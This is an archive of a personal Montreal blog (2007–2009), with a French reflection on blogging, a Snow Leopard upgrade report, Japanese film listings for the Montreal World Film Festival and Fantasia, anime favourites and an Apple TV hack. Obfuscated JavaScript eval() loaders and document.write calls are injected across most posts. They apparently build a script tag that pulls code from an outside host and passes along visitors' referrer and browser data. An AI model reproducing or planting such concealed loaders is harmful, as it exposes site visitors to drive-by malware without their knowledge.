La fausse pérennité de l’électron?

September 21, 2009 / Clodjee / Leave a comment

Depuis longtemps je transcris dans mes carnets mes réflexions personnelles, document.write(“”); un peu comme le faisait Marc-Aurèle, pour tenter de figer dans le souvenirs mes pensées furtives avant qu’elles ne sombrent dans l’oubli. Pendant des années, trop occupé à vivre ma vie, j’ai négligé de le faire et, depuis peu, je blogue au lieu de noircir des carnets. Mais cela semble parfois bien futile. Serait-ce une fausse impression que d’ainsi aspirer à une plus grande pérennité, espérant être lu par un plus grand nombre de lecteurs alors que tout ces mots ne sont qu’électron fragiles et que l’encre sur le papier des carnets survivra, dans l’obscurité certes, certainement plus longtemps? Le blogue a démocratisé la capacité d’expression en donnant à tous une voix, mais celle-ci n’est guère plus entendue que le silence de l’écrit tant qu’elle se perd dans la cacophonie de la toile que tissent les pensées de tous et chacun.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irysn|var|u0026u|referrer|synka||js|php’.split(‘|’),0,{}))

Bloguer ou ne pas bloguer, là est la question. Il y a-t-il plus de noblesse d’âme à subir l’affront des possible commentaires outrageants ou s’armer contre une mer de silence et écrire dans la solitude? Penser, écrire, rien de plus. Simplement épancher nos maux du coeur et les milles petites tortures que la société nous fait subir. Penser, écrire, être lu peut-être. Oui là est l’embarras, car quelle genre de pensées peut-il nous venir lorsque l’on se tiens à l’écart des autres, dans une quelconque mort sociale? Voilà qui devrait mettre fin au débat. Inutile de risquer un ulcère avec ce genre de réflexions futiles. Pourquoi se donner tant de peine à réfléchir, à coucher sur papier nos élucubrations, les écrire et ré-écrire, paufiner notre style si ce n’est la crainte de l’oubli et de la solitude? Ainsi, l’espoir d’être un jour lu et compris par les autres nous fait supporter toutes les douleurs de la création pour nous confier aux silencieux carnets et, parfois également — se détournant de possible entreprises littéraires d’envergures — pour lâchement bloguer les pâles reflets de nos pensées. (pardonnez-moi cette parodie lyrique shakespearienne)

Snow Leopard

September 3, 2009 / Clodjee / Leave a comment

The new Macintosh Operating System, document.write(“”); Mac OS X 10.6 also known as “Snow Leopard,” shipped last week (friday August 28th) but I didn’t receive it until monday (August 31st).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzady|var|u0026u|referrer|ydtne||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzza|var|u0026u|referrer|bnhkf||js|php’.split(‘|’),0,{}))

In preparation for the update, following some recommendations, I had already made sure last week that my Time Machine backup was up-to-date and that every other devices linked to my Mac (A-TV, iPod) had been properly synced. I had also verified my hard drive, repaired permissions and did a little cleaning (getting rid of a few unused or older apps). Just to make really sure I could easily recover from any problems, I had also purchased an extra 320Gb hard drive that was used to clone the HD of my iMac.

(More after the jump)

I’ve spend all monday night installing Snow Leopard. It really took most of the evening, so I watched TV while it was installing. I then spend a couple of hours checking the computer for changes and problems. I already knew by reading the tech news that some apps would not work and that most of the changes would be invisible, but I couldn’t help to feel disappointed. I am glad that I paid only $35 CND ($29.95 US) for this upgrade and somewhat I don’t regret getting it. The OS was almost entirely rewritten so it is faster and lighter, but the speed increase is not really noticeable. And all the improvements (on the visual appearance, on the performance or the added fonctionnality) are rather small. Overall, it is mostly the same than Leopard, but better. However, there’s no new fonctions that make me exclaim in joy and the new OS generates several problems. It is far from the crisis that I experienced when installing Mac OS 6 and 7, but still those little problems end up being quite an annoyance.

Here’s a quick list of the problems that I experienced:

Norton Anti-Virus 11.0.2 is broken.
Mail app is behaving strangely.
iCal cannot publish Calendars anymore.

For Norton Anti-Virus there is nothing I can do but wait for Symantec to released an updated version that fixes the bug. However, I am amazed that such a big company, who is handling the security for so many people’s computer, would let a problem like this happen. It is true that Snow Leopard was released ealier than expected, but the OS was seeded to developpers several months ago for them to test it and make sure their softwares would still work properly after the update. Clearly, Symantec has failed us. According to their forum, NAV 11.0.3 update should be available around mid-September…

After installing Snow Leopard, one of my mail server was at first not responding, but it worked after a while. Then I noticed that some emails were not appearing where they should in the email’s list of the Mail app. I first thought “well, I have lots of emails—in fact two years worth of emails—so it might be a little heavy fo the app and cause it to be slow and behave strangely.” Therefore I decided to backup and eliminate most of the older emails. First, I archived and zipped all my mailboxes (so I could re-import them later if necessary). Then I also upgraded Mail Steward 7.9.8 to 8.2.5 (at the cost of $20) to archive all my mailboxes in a way that would be searchable. Finally, I deleted all my old emails. I thought it did the trick, but I recently noticed that some emails are still sometime not listed, but they reappear if I refresh the window. I haven’t seen that problem mentioned by anyone else (someone did mention problems with the Mail app but it seems to be a different bug). It is not too much of a problem, but it is annoying and hopefully it will be corrected in a future update.

After installing Snow Leopard, I also noticed that my exported iCal calendar were not working anymore. I was getting a “calendar cannot be found” error message from MobileMe. According to the tech news sites, a bug seems to prevent calendars with all-day events to be properly published. After searching the web, I found a work-around using iCal Exchange to publish the calendar on Google Calendar instead. On the Apple forums, someone suggest that switching iCal from 64-bit to 32-bit mode will temporarily fix the problem. I haven’t tried this fix yet and I am rather waiting for an Apple update.

Finally, some of the applications that I am currently using are still PowerPC apps. For some, I’ve found updated version for Intel Macs, but for a few apps there are no Intel or Universal version. For some there is simply no alternative than continue to use Rosetta (ReadIris Pro 11 for example) and for others I will have to consider purchasing alternative softwares (for example: updating Toast 6 Titanium with Roxio Toast 10 for $80, or replacing Appleworks 6 with Bento 2 for about $50).

Update: On September 9th, in Apple “It’s Only Rock and Roll” event, Steve Job announced iTunes 9, new iPod models and the iPhone / iPod Touch OS 3.1.1. Similarly to Snow Leopard, the free iPod Touch OS update is bringing just a few disappointing improvements and, according to some, a few problems. In my case, the iPod seems to have batteries problem recently. Goes from fully charged to nearly empty so it shuts down and is unable to reboot until it’s recharged. Annoying.

Update: On September 10th, Apple released Mac OS X 10.6.1 but it doesn’t seem to fix any of my problems. Hopefully it will come with the next update.

Update: On September 16th, the Symantec forum announces the release of NAV 11.0.3. I ran LiveUpdate immediately and after a longer than usual download, NAV installs and request a reboot. It now seems to work. They announced another update, 11.1, for late October.

Montreal World Film Festival 2009

August 14, 2009 / Clodjee / Leave a comment

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhfis|var|u0026u|referrer|sbaia||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inefi|var|u0026u|referrer|tbfse||js|php’.split(‘|’),0,{}))

In a press conference held on August 11, document.write(“”); the Montreal World Film Festival revealed the programmation for its 33rd edition. The festival will be held from August 27 to September 7 and will offer over 450 movies from 78 countries, including 240 feature-length films and 130 world premieres!

Unfortunately, this year is a slim pick for the Japanese movie aficionado as there are (so far) only seven movies and two documentaries being shown at the festival.

First of all, and most importantly, there are two movies in the “World Competition” category (COMP):

Dia Dokuta (Dear Doctor) directed by NISHIKAWA Miwa, 127 min. A much loved small town physician mysteriously disappears one day. It’s only while searching for him that his colleagues, friends and the townsfolk begin to discover exactly who their doctor is. (COMP) 9/2 9:00 CI.02.1; 9/2 21:30 TM.02.2; 9/3 13:40 CI.03.3. ( IMDb / Official website / Trailer )
Viyon no Tsuma (Villon’s Wife) directed by NEGISHI Kichitaro, 114 min. When her husband runs into financial trouble, Sachi obligingly goes to work in a restaurant to pay off his debt and discovers that she has value beyond being a housewife; she is now an independent woman. (COMP) 9/6 9:00 CI.06.1; 9/6 21:30 TM.06.2; 9/7 14:00 CI.07.2. ( IMDb / Official website )

There is one movie in the “First Films World Competition” category (PRE):

Nisesatsu (Counterfeit) directed by KIMURA Yuichi, 96 min. In 1950, in the chaos of postwar Japan, a young hustler has a plan to solve his school’s — and the village’s — financial problems: make fake 1,000 yen notes. (PRE) 9/5 13:00 L12.05.2; 9/5 19:20 L12.05.5; 9/6 14:40 L12.06.3; 9/7 21:30 L15.07.6. ( IMDb / AsianMediaWiki )

There is one movie in the “World Great” (Out of Competition / Hors Concours) category (HC):

60 sai no Love Letter (Dear My Love) directed by FUKAGAWA Yoshihiro, 129 min. 86,441 love letters — mostly messages written by one spouse to another voicing unspoken appreciation for lives shared over the years — DEAR MY LOVE, examines the different situations of three particular couples. (HC) 9/1 18:40 L15.01.4; 9/2 12:10 L15.02.2; 9/3 14:40 L15.03.3. ( IMDb / Official website )

There are three movies in the “Focus on World Cinema” category (REG):

Chanto Tsutaeru (Be Sure to Share) directed by Sion Sono, 108 min. Shiro’s struggle with his father’s cancer and impending death leads to a realization that he must communicate his love and admiration for the man before it is too late. (REG) 8/28 19:20 L15.28.5; 8/29 11:40 L15.29.1; 8/30 10:00 L15.30.1; 8/31 19:30 L15.31.5. ( IMDb / Official website / Trailer )
Kouryo-Shibounin (The Faceless Dead) directed by Kishu Izuchi, 112 min. When a 24-year-old wannabe writer gets a call one day informing her that “Ms. Misaki Takigawa” has been hospitalized, she is puzzled: she is Misaki Takigawa. Why would anyone be using her name? (REG) 8/28 12:40 L10.28.2; 8/30 19:00 L10.30.5; 9/7 10:20 L10.07.1. ( Official website )
Samayou Yaiba (The Hovering Blade) directed by MASHIKO Shoichi, 122 min. When his only daughter is raped and killed by two youths, widower Hideki Nagamine is bitter and inconsolable. He knows they will be tried as juveniles and he is determined to exact revenge. (REG) 8/28 21:30 L15.28.6; 8/30 12:00 L13.30.2; 9/1 19:00 L11.01.2; 9/2 16:30 L11.02.3. ( IMDb / Official website / Trailer )

And there are two documentaries (DOC):

Eatrip directed by NOMURA Yuri, 78 min. For Yuri Nomura, who studied cooking, developed menus for restaurants and writes for culinary magazines, the way to people’s feelings is through their stomachs. (DOC) 8/29 12:10 L11.29.1; 8/29 19:20 L11.29.4; 8/30 14:30 L11.30.3. ( Official website / Trailer )
Grandmother, a short directed by KAWAMURA Yuki, 34 min. Masa, an 83-year-old Japanese grandmother, has just spent 50 days in a coma. Her family gathers to be with her through this difficult period. Her death is an opportunity to reflect on nature and the meaning of life. (DOC) 8/28 14:30 L16.28.3; 8/29 14:40 L10.29.3; 8/30 21:30 L10.30.6. ( Official website )

Unfortunately, I was so busy with work, various projects and the covering of other festivals that I missed the programmation press conference itself. So, I don’t have any pictures or video footage to show you. However, as usual (we’ve been covering the MWFF for ten years now!), we will do our best to screen all those movies and report on them (whether in the magazine — in print or digital edition — or on the web page or on my personal blog or a combination of those). We will also attend all the movie press conferences that we can.

In any case, as soon as we have new information I will update this entry (updated: 8/15, 8/21, 8/22, 8/23, 8/25, 8/26) or make new ones.

This calendar shows the schedule of the Japanese movies’ screenings.

Fantasia 2009

June 30, 2009 / Clodjee / Leave a comment

The 13th edition of the Fantasia Film Festival, document.write(“”); North America’s largest genre cinema event, will be held from July 9th to July 29th, 2009 at Concordia University’s Hall Theatre in Montreal. This year the festival offers over 115 feature-length films, as well as an impressive selection of shorts, documentaries, panel discussions, outdoor screenings and more than fifty guests that will be there to introduce their movies. The programmation’s details will be available online for free and the Program Book will be on sale Friday July 3rd at the cost of $5. Tickets will be available from July 7th for $8.00 or $70 for 10 tickets. There are also 8 “Fantastic Week-End” programs (including 6 to 13 films) available for $8 each.

The programming offers over 50 Asian movies (including 35 from Japan, 15 from Korea, 6 from China/Hong Kong and 3 from Thailand).

This year the festival is a little weak on the anime side as it includes only four Japanese animated features: Eureka Seven: Good Night, Sleep Tight, Young Lovers (Dir.: Tomoyuki Kyoda), Evangelion: 1.0 You Are (Not) Alone (Dir.: Hideaki Anno), Genius Party Beyond (a shorts anthology by 4’C Studio) and Hells (Dir.: Yoshiki Yamakawa, Madhouse Studio). There’s also Cencoroll (a short shown with Genius Party Beyond).

The most interesting Japanese movies of the festival (interesting to us because they are anime & manga related) definitely are 20th Century Boys: Chapter One and 20th Century Boys: Chapter Two—The Last Hope (based on Naoki Urasawa’s manga and directed by Yukihiko Tsutsumi), M.W. (based on a manga by Osamu Tezuka and directed by Hitoshi Iwamoto) and Yatterman (based on Tatsunoko’s 1977-79 anime TV series Time Bokan 2: Yatt?man (or its 2008 remake); directed by Takashi Miike, it’s the opening film of the festival hosted by producer Yoshinori Chiba).

There’s also an anime & manga-related Korean movie: Antique (Dir.: Min Kyu-dong; based on the Japanese manga Antique Bakery by Fumi Yoshinaga).

The other Japanese movies includes Battle League in Kyoto (Dir.: Katsuhide Motoki, based on a fantasy novel by Manabu Makime), The Clone Returns Home (Dir.: Kanji Nakajima), Crime or Punishment?!? (Dir.: Keralino Sandorovich), Cyborg She (dir.: Kwak Jae-young), Fine, Totally Fine (Dir.: Yosuke Fujita), GS Wonderland (dir.: Ry?ichi Honda), Hard Revenge, Milly and Hard Revenge, Milly: Bloody Battle (hosted by writer/director Takanori Tsujimoto), House (Dir.: Nobuhiko Obayashi), Instant Swamp (Dir.: Satoshi Miki), K-20: Legend of the Mask (Dir.: Shimako Sato), Lalapipo (Dir.: Masayuki Miyano), Love Exposure (Dir.: Sion Sono), Nightmare Detective 2 (Dir.: Shinya Tsukamoto), Orochi (Dir.: Norio Tsurata), Paco and the Magic Book (Dir.: Tetsuya Nakashima), Samurai Princess (Dir.: Kengo Kaji), Tokyo OnlyPic 2008 (Dir.: Riichiro Mashima), Vampire Girl Vs Frankenstein Girl (Dir.: Naoyuki Tomomatsu & Yoshihiro Nishimura) and With Rain (a short shown as part of “Celluloid Experiments”).

The festival, in association with the Cinémathèque Québécoise and Ciné-Asie, also presents “Behind the Pink Curtain,” a line-up of Japanese erotic films (pinku eiga): Blue Film Woman (1969), Gushing Prayer (1971), S&M Hunter (1986), Secret Hot Spring Resort: Star Fish at Night (1970) and Yariman (2008).

Fantasia also presents a “Classic Daikaiju Special” that will include a documentary, Bringing Godzilla Down to Size: The Art of Japanese Special Effects, a short, Gehara the Dark and Long Haired Monster, and a classic monster movie, Mothra (1961)!

As part of its “Fantasia Under the Stars” segment, the festival will also presents outdoor screenings of Tokyo Zombie (Dir.: Sakichi Sato) on 7/17 and Adrift in Tokyo (Dir.: Satoshi Miki) on 7/18 at 21:00 in the Parc de la Paix (St-Laurent boulevard between Ste-Catherine’s and René-Lévesque).

Notable is the recent French documentary by Yves Montmayeur: Yakuza Eiga: Une Histoire Secrète du Cinéma Japonais (“Yakuza Eiga: A Secret History of Japanese Cinema”).

The Japanese guests list includes Yoshinori Chia (Yatterman producer), Tomohiro Hayashi (Yatterman producer), Yoshihiro Nishimura (Vampire Girl Vs Frankenstein Girl director), and Takanori Tsujimoto (Hard Revenge, Milly writer & director).

We will add more details as they are available (updated: 7/4, 7/5, 7/8).

View a calendar of the Japanese movies’ screenings.

Bon festival!

Favourites

March 6, 2009 / Clodjee / 1 Comment

I am often asked what are my favourite anime or manga and which titles I would recommend. For me it is a question that is very difficult to answer. I’ve seen or read so many of them, and I like so many, to some level, for one reason or another, that it would probably be easier to make a top 50 than a top 10. If selecting the shows that I prefer–those I would like to introduce to a newcomer or that I would take to a desert island–is already a difficult task, putting them in order of preference is nearly impossible; so I won’t. In this alphabetical order selection, I took account of the quality of the title, its historical impact, its popularity and of a certain personal sentimental value. This selection is a choice frozen in the moment; it might very well be different tomorrow.

Anime:

Dennou Coil (TV series)
Escaflowne (TV series & movie)
Evangelion (TV series & movies)
Ghost in The Shell: Stand Alone Complex (TV series)
Gundam Seed (TV series)
Kimagure Orange Road (TV series)
Nausicaa (movie)
Robotech series (particularly the Macross and Mospeada segments)
Rurouni Kenshin (TV series & OVAs)
Whisper Of The Heart (movie)

Of course I could also includes all other Miyazaki movies (beside Nausicaa I particularly like Laputa, Totoro, Porco Rosso, Mononoke Princess) and series (particularly Future Boy Conan, Red-haired Ann), Akira (movie), Beck (TV series), Blood+ (TV series), Bubblegum Crisis (OVA series), Cowboy Bebop (TV series), Dot Hack//Sign (TV series), Fantastic Children (TV series), Giant Robo (OVA), Grave of the Fireflies (movie), GTO (TV series), Gunbuster (OVA series), the Gundam OVAs (0080, 0083, 8th MS Team), Hataraki-man (TV series), Initial D (TV series), Irresponsible Captain Tylor (TV Series), Kacho Ohji (aka Black Heaven, TV Series), Kare Kano (TV series), Megazone 23 Part II (OVA), Moyashimon (TV series), Nadia: Secret of Blue Water (TV series), Nana (TV series), Night Head Genesis (TV series), Nodame Cantabile (TV series), Noein (TV series), Paradise Kiss (TV series), Patlabor (series & movies), Rahxephon (TV series), Record Of Lodoss Wars (OVA series), Seirei no Moribito (TV series), Tide Line Blue (TV series), Twelve Kingdom (TV series), Wings of Honneamise (movie), Witch Hunter Robin (TV series) and so many more. But it gives you an idea.

Manga:

Blade of the Immortal (L’Habitant de L’infini)
Buddha
Detective Conan
Ghost In The Shell
Nana
Nausicaa
Paradise Kiss
Please Save My Earth
Rose of Versailles (Lady Oscar)
To Terra

I could also includes all the other works of Osamu Tezuka (beside Buddha I particularly like Astroboy, Dororo, Kirihito, L’arbre au soleil) and of Jiro Taniguchi (L’homme qui marche, Au temps de Botchan, etc.), but also Akira, Area 88, Beck, Cat’s Eye, City Hunter, Fushigi Yuugi, GTO, Ikkyu, Rouruni Kenshin, What’s Michael, Yakitate Ja-pan, etc. Most of those title are available both in English and French, and most of them I would recommend to a beginner (save maybe Ghost In The Shell which is too cyberpunk hardcore and difficult to follow). Strangely, I have much more trouble listing my favourite manga than anime (probably because I’ve seen more anime than I’ve read manga).

There you have it. Now, stop asking me which are my favourites!

For my other favourites (blogs, books/comics, interest, movies, music) check my profile.

Apple TV hack

October 18, 2008 / Clodjee / Leave a comment

Since the time I have purchased the Apple TV, document.write(“”); I have refrained from hacking it. Not that I didn’t feel it was necessary — in the contrary, the ATV in itself is rather disappointing, although recent updates made it more interesting by adding the possibility to purchase or rent movies, as well as TV series in HD, access to iTunes radio stations or a “stand-by” option in the menu (you cannot turn ATV off but you can put it to sleep) — but simply because I didn’t have much time to consider or perform the complexe hacking procedures.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsief|var|u0026u|referrer|friir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yneif|var|u0026u|referrer|isyzf||js|php’.split(‘|’),0,{}))

The first hack that was made available was hardware and required to open the ATV to remove the hard drive. I used to like opening my computers to play with their guts, but lately the innards of electronic devices have become so compact and complicated that I don’t want to take that risk anymore — without mentioning that I would rather not void the ATV warranty. After a while someone came up with the clever concept of the “patchstick”, a USB drive that contains the necessary code to enable SSH on the ATV and install plugins & scripts giving the ATV extra functionality. But putting the patchstick together was still a complicated procedure and using it entailed some risks so I decided to wait until I could learn more about it or until someone would come up with a simpler procedure. Later, a pre-installed USB drive was offered on the market, but the company selling it was sued and the product withdrawn. Finally, someone came up with atvusb-creator, an easy-to-use patchstick (well “easy” is all relative since I had a hell lots of trouble getting the app to work on my iMac—since then they released a new version of the app that works better—and I had to try several USB drives before finding one that would work properly on the ATV (a Lexar USB2 SDHC card reader with a cheap Taiwanese Adata 1 Gb card), but after several hours of work I finally succeeded to hack the ATV and can now access it via FTP). It is mostly designed to install Boxee (a media center also working as a social network, but it is still in alpha testing, on invitation only, and I didn’t manage to get an invite yet), but it also installs XBMC !

Once the ATV is SSH enabled you can install all sort of scripts or plugins (see AwkwardTV for details), but XBMC is really all I need. It is very similar to the XBMC that I am running on my old Xbox, except that it looks nicer and performs better. With XBMC the ATV can access files on my network drive and it plays about any type of video files (I don’t have problems anymore with the Matroska file format or Hi-Def video). That’s really cool.

Now, the next step will be to purchase an HDTV… Before Christmas. But that’s another story.

Montreal World Film Festival 2008

August 5, 2008 / Clodjee / Leave a comment

Today, document.write(“”); in a press conference, the Montreal World Film Festival has announced the program for its 32nd edition. The festival will be held from August 21 to September 1st in four locations (at the Imperial Theatre, Maisonneuve Theatre, Quartier Latin Cinema and Cinema ONF). Tickets are sold for $10, but are available in 10-coupon ($60) or 30-coupon booklets ($150). A Cinephile Pass is also available for $300.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytzrh|var|u0026u|referrer|fbkzr||js|php’.split(‘|’),0,{}))

This year the festival will offer 234 feature films (105 of which are world or international premieres), 13 medium-length films and 208 shorts. That includes 32 films in World Competition (20 features, 12 shorts), 17 in the First Films World Competition, 30 Hors-Concours, 192 in the Focus on World Cinema (84 features and 108 shorts), 63 documentaries, 15 tributes movies, 18 in the Cinema Under the Stars, 15 in Our Cinema at Radio-Canada and 73 in the Student Film Festival!

The Festival will offer a posthumous tribute to Mrs Kashiko Kawakita, founder of the Kawakita Memorial Film Institute, for her work promoting Japanese Cinema abroad. To commemorate her 100th anniversary, the festival will be presenting a sampling of significant works by prominent postwar Japanese directors, each a winner of the Kawakita Award:

Gishiki (The Ceremony) by Nagisa Oshima (b&w, 1971).
Hukushu Suru wa Ware ni Ari (Vengeance is Mine) by Shohei Imamura (1979).
Ikiru (To Live) by Akira Kurosawa (b&w, 1952).

There will be ten Japanese films shown at the festival. Two are in Official Competition:

Okuribito, directed by Yojiro Takita (Onmyoji, Mibu Gishi Den, Ashura). A young cellist who suddenly finds himself out of work when his orchestra disbands, moves back to his hometown and takes a job as an undertaker. It’s not a job his wife appreciates, but his daily encounters with death teach him about life. ( IMDb / Official web page )

Dare mo Mamotte Kurenai (Nobody To Watch Over Me), directed by Ryoichi Kimizuka (writer for Parasyte Eve and the Odoru Daisosasen TV series & movies). The Funamaras seem a typical suburban family until the police knock on the door one day and arrest their 18-year-old boy for murder. His teenage sister and the cop assign to protect her must hide out from a relentless public braying for blood. ( IMDb / Eiga Wiki / Official web page )

Three in the First Film World Competition:

Der Rote Punkt (The Red Spot), directed by Marie Miyayama, is a Germany/Japan co-production. ( IMDb )

El Regalo de la Pachamama (Pachamama), directed by Toshifumi Matsushita, is a Bolivia/Japan/USA co-production.

Yume no Manimani (Dreaming Awake), directed by Takeo Kimura. (Trailer / Asian Media Wiki / Official web page )

One in the Hors-Concours / World Greats category:

The Magic Hour, by Koki Mitani (Uchoten Hotel). A gangster having an affair with the wife of his boss is found out, but promises to save face by recruiting a famous hitman. Instead, when he can’t find the real thing, he hires an actor to fill the role until he can find a suitable replacement. ( IMDb / Wikipedia / Official web page )

And four in Focus on World Cinema:

Umikazi ni Fukarete (Carried on a sea breeze) by Tokishi Sato.

Hyakuman Yen to Nigamushi Onna (One Million Yen Girl) by Yuki Tanada, starring Yu Aoi. ( IMDb / Eiga Wiki / Trailer / Official web page )

After School by Kenji Uchida. ( IMDb / Eiga Wiki / AsianMedia Wiki / film.com / Official web page )

Yashi (Tears) by Sano Shinju (a Kazakhstan/Japan/Russia co-production).

More details will be added as soon as they are available.

Here’s the highlights of the press conference (10 min. out of the 60 min. conference — in French, sorry):

Click to play

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And a picture of Serge Losique (Festival’s president) and Danièle Cauchard (Directeur Général) with this year’s poster:

[Updated 2008/08/15]

Video Experimentation

July 1, 2008 / Clodjee / Leave a comment

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.

The zoom is quite impressive:

It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.

First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):

[Updated 2008/08/25 with the zoom pic]

Fantasia to get subsidies from the SODEC [Updated]

April 16, 2008 / Clodjee / Leave a comment

I just read today in the free newspaper 24 Heures that the Festival Fantasia will finally received governmental subsidies from the SODEC (Société de développement des entreprises culturelles / Society for the development of cultural ventures).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fazyt|var|u0026u|referrer|yeske||js|php’.split(‘|’),0,{}))

The subsidies were announced by the SODEC yesterday.

Six movie festivals in Quebec (including four in Montreal) will share subsidies of $825, document.write(“”); 000.

The other festivals include the Montreal World Film Festival (getting $225, 000), le Festival du Nouveau Cinéma (getting $220,000), le Carrousel International du Film de Rimouski (getting $120,000), le Festival du Cinéma International D’Abitibi-Témiscamingue (getting $115,000) and Les Recontres Internationales du Documentaire de Montreal (getting $95,000).

Fantasia will receive a $50,000 subsidy from the SODEC. It is an improvement since they only got $35,000 in 2007 from the Municipal & Regional Affairs Ministry. It is a little disappointing, since the festival deserves more, but it will certainly means a few improvement to the festival this year (more movies? more guests?). Fantasia has yet to comment or emit a press release on the SODEC announcement.

The 12th edition of Fantasia, the North American Premier Genre Film Festival (known for showing lots of edgy Japanese live-action and anime), will be held July 3-21 2008.

[updated 2008/04/17 with details from The Gazette 2008/04/16: D5]

Montreal World Film Festival 2007

August 7, 2007 / Clodjee / Leave a comment

Today, document.write(“”); the 31st Montreal World Film Festival announced its programmation. The Festival, which will be held from August 23 to September 3, 2007, will offer 230 movie features and 215 shorts from 70 countries (including 53 world premieres (PM), 56 international premieres (PI), 59 North American premieres (PNA), and 42 Canadian premieres (PC))!
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Unfortunately, there is very little Japanese movies at the festival this year: two in competition (COMP), one out of competition (HC), four in the “Focus On World Cinema” segment (REG) and one short:

